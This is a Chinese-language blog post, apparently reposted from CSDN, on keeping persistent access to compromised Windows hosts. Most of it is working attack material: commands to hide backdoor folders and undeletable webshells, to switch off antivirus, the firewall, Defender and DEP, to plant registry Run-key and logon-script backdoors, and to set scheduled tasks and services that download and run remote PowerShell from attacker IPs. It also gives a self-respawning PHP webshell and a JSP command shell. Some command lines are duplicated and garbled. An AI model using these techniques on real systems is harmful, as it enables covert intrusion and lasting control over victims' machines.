Windows权限维持

Windows权限维持

文件隐藏

隐藏文件

使⽤Attrib +s +a +h +r命令就是把原本的⽂件夹增加了系统⽂件属性、存档⽂件属性、只读⽂件属性和隐藏⽂件属性。

attrib +s +a +h +r test    #将test文件夹隐藏

这种方法在windows11上未成功,但是在windows8.1上面尝试成功,显示隐藏文件仍然是无法查看到,cmd dir命令也未查看到

系统⽂件夹图标

通过对文件夹添加后缀,将文件夹伪装成我的电脑等图标,并且双击该文件夹也是和正常我的电脑一样

在使用该文件夹的内容时,如果是windows11去掉后缀即可,该文件夹就会变成正常的文件夹,

如果是window8.1或者其他版本的windows系统可以使用win rar去掉后缀,然后再打开就会变成正常的文件夹

如果没有win rar直接通过cmd命令行也可以

ren 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}  shell
后缀
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d}
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
ren C:\Users\32561\.config\shell 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}  #将shell文件夹改为我的电脑

需要注意的是该方法通过cmd的dir命令可以查看出后缀异常

这些后缀本质上是注册表的键值,该方法也称CLSID伪装文件夹

原理及详细介绍:https://www.cnblogs.com/wifi/articles/2563013.html

畸形目录

在cmd中执行md test...\命令会创建一个错误的文件夹,用户界面无法访问,并且也无法删除

md test...\   #创建畸形文件夹
rd /q /s test...\   #删除畸形文件夹
copy shell.asp test...\shell.asp   #将shell.php 赋值到畸形文件夹内
/test.../shell.asp    #url访问,如果未访问成功可以试试删除一个点试试

Windows权限维持_第1张图片

Windows权限维持_第2张图片

保留文件名

Windows 下不能够以下⾯这些字样来命名⽂件/⽂件夹,包括:aux,com1,com2,prn,con和nul等,但 是通过cmd下是可以创建此类⽂件夹的,使⽤copy命令即可实现

copy shell.php aux.php

利⽤系统保留⽂件名创建⽆法删除的webshell,这类⽂件⽆法在图形界⾯删除,只能在命令⾏下删除,然⽽在IIS 中,这种⽂件⼜是可以解析成功的

aux.asp图形界⾯拒绝访问 ⼩技巧:

  • attrib 1.txt //查看⽂件属性
  • attrib 1.txt -r -s //删除⽂件属性
  • attrib +H +S 1.asp 改变⽂件属性
  • 隐藏 attrib -H -S 1.asp

驱动级隐藏

使用Easy File Locker软件来实现隐藏文件,该软件可以设置密码,在删除,修改设置,重复安装都需要密码,在使用该工具隐藏文件的时候,无论是通过查看隐藏文件还是cmddir查看文件列表都无法看到隐藏的文件,使用隐藏文件时需要知道该隐藏文件的完整路径

删除方法:
  • 查询服务状态: sc qc xlkfs
  • 停⽌服务: net stop xlkfs 服务停⽌以后,经驱动级隐藏的⽂件即可显现
  • 删除服务: sc delete xlkfs
  • 删除系统⽬录下⾯的⽂件,重启系统,确认服务已经被清理了。

更加详细的利用方式以及过程:

http://t.csdn.cn/a1ps5

存在隐藏的特征

存在以下文件:

  • c:\WINDOWS\xlkfs.dat
  • c:\WINDOWS\xlkfs.dll
  • c:\WINDOWS\xlkfs.ini
  • c:\WINDOWS\system32\drivers\xlkfs.sys

关闭杀软

msf命令

run killav

关闭防火墙

netsh advfirewall set allprofiles state off

关闭Denfnder

Net stop windefend

命令关闭DEP(数据执⾏保护)

bcdedit.exe /set {current} nx Alwaysoff

组策略

在组策略中可以设置开机或关机时执行指定的脚本程序,进而实施对主机的长期控制。windows家庭版可能未开启组策略功能,需要执行该脚本,才能开启

@echo off

pushd "%~dp0"

dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >List.txt

dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>List.txt

for /f %%i in ('findstr /i . List.txt 2^>nul') do dism /online /norestart /add-package:"C:\Windows\servicing\Packages\%%i"

pause

win+r 输入gpedit.msc 打开组策略

Windows权限维持_第3张图片

注册表

win+r输入regedit进入注册表

注册表项可以从终端添加到运⾏键以实现持久性。这些键将包含对⽤户登录时将执⾏的实际负载的引⽤,已知使⽤此持久性⽅法的威胁因素和红队使⽤以下注册表位置

启动项注册表后门

在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行

cmd命令

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\administrator\desktop\pentestlab.exe"

powershell命令

Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" "Pentestlab" "C:\Users\administrator\desktop\pentestlab.exe" -Force

电脑重启之后将会自动执行指定的程序,除了上面这些指定的位置之外还有一些位置可以添加运行键

针对用户的位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
针对本地计算机的注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限

不知道为什么,我使用系统文件夹图标隐藏,并且在该文件夹内放入后门程序,进而添加到启动项,但是未成功,有了解的大佬可以告诉我。

C:\Users\Anonymous>reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    Pentestlab    REG_SZ    C:\Users\Anonymous\.openjfx\我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell.exe

logon scripts后门

根据知乎一篇文章介绍,此方法优先于杀毒软件,但是经过实践发现仍然能被杀软拦截,阻止上线,具体原因未知,不过还是写下来吧。

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Anonymous\.openjfx\我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell.exe"

文章参考:15种windows权限维持的方法 - 二师兄的文章 - 知乎 https://zhuanlan.zhihu.com/p/458219585

命令查看指定注册表的内容

reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

计划任务

通过计划任务可以在被控机上定时执行程序或者脚本。

以下命令是创建定时任务的Dos命令

#(X64) - On System Start   在系统开机时执行
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onstart /ru System

#(X64) - On User Idle (30mins)  用户空闲30分钟时执行
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onidle /i 30

#(X86) - On User Login  在用户登入时执行
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onlogon /ru System
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))"" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onidle /i 30

通过Gui方式创建计划任务:http://t.csdn.cn/TTwNS

新服务

将后门程序设置成服务进行自启动,或者将powershell后门脚本设置为自启动,这样可以实现无文件后门。windows创建服务需要管理员权限。

以下是几个例子:

sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
sc description  KeyName "Just For Test"   #设置服务的描述字符串
sc config Name start= auto                #设置这个服务为自动启动
net start Name                     
sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto"    #start="auto" 确保服务自动启动
obj="LocalSystem"
sc start pentestlab
#pentestlab是服务的名字,指定LocalSystem身份运行
New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -
Description "PentestLaboratories" -StartupType Automatic
sc start pentestlab

内存马

php内存马


    ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
    set_time_limit(0);//设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
    unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
    $file = '.bashrc.php';
    $code = '';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .bashrc.php');
	system('chmod 777 .bashrc.php');
        usleep(0);
    }//while循环中每隔usleep(0)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中有的队伍使用
?>

Jsp内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.jasper.EmbeddedServletOptions" %>
<%
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    InputStream in = process.getInputStream();
    int a = 0;
    byte[] b = new byte[1024];

    while ((a = in.read(b)) != -1) {
        out.println(new String(b, 0, a));
    }

    in.close();

    //从request对象中获取request属性
    Field requestF = request.getClass().getDeclaredField("request");
    requestF.setAccessible(true);
    Request req = (Request) requestF.get(request);
    //获取MappingData
    MappingData mappingData = req.getMappingData();
    //获取Wrapper
    Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
    wrapperF.setAccessible(true);
    Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
    //获取jspServlet对象
    Field instanceF = wrapper.getClass().getDeclaredField("instance");
    instanceF.setAccessible(true);
    Servlet jspServlet = (Servlet) instanceF.get(wrapper);
    //获取options中保存的对象
    Field Option = jspServlet.getClass().getDeclaredField("options");
    Option.setAccessible(true);
    EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
    //设置development属性为false
    Field Developent = op.getClass().getDeclaredField("development");
    Developent.setAccessible(true);
    Developent.set(op, false);
%>

DLL劫持

由于DLL劫持的内容人过多,已在我的个人博客里面已经单独发布。
http://t.csdnimg.cn/XP299

巨人的肩膀

https://cloud.tencent.com/developer/article/1850726?shareByChannel=link

你可能感兴趣的:(网络安全,网络安全)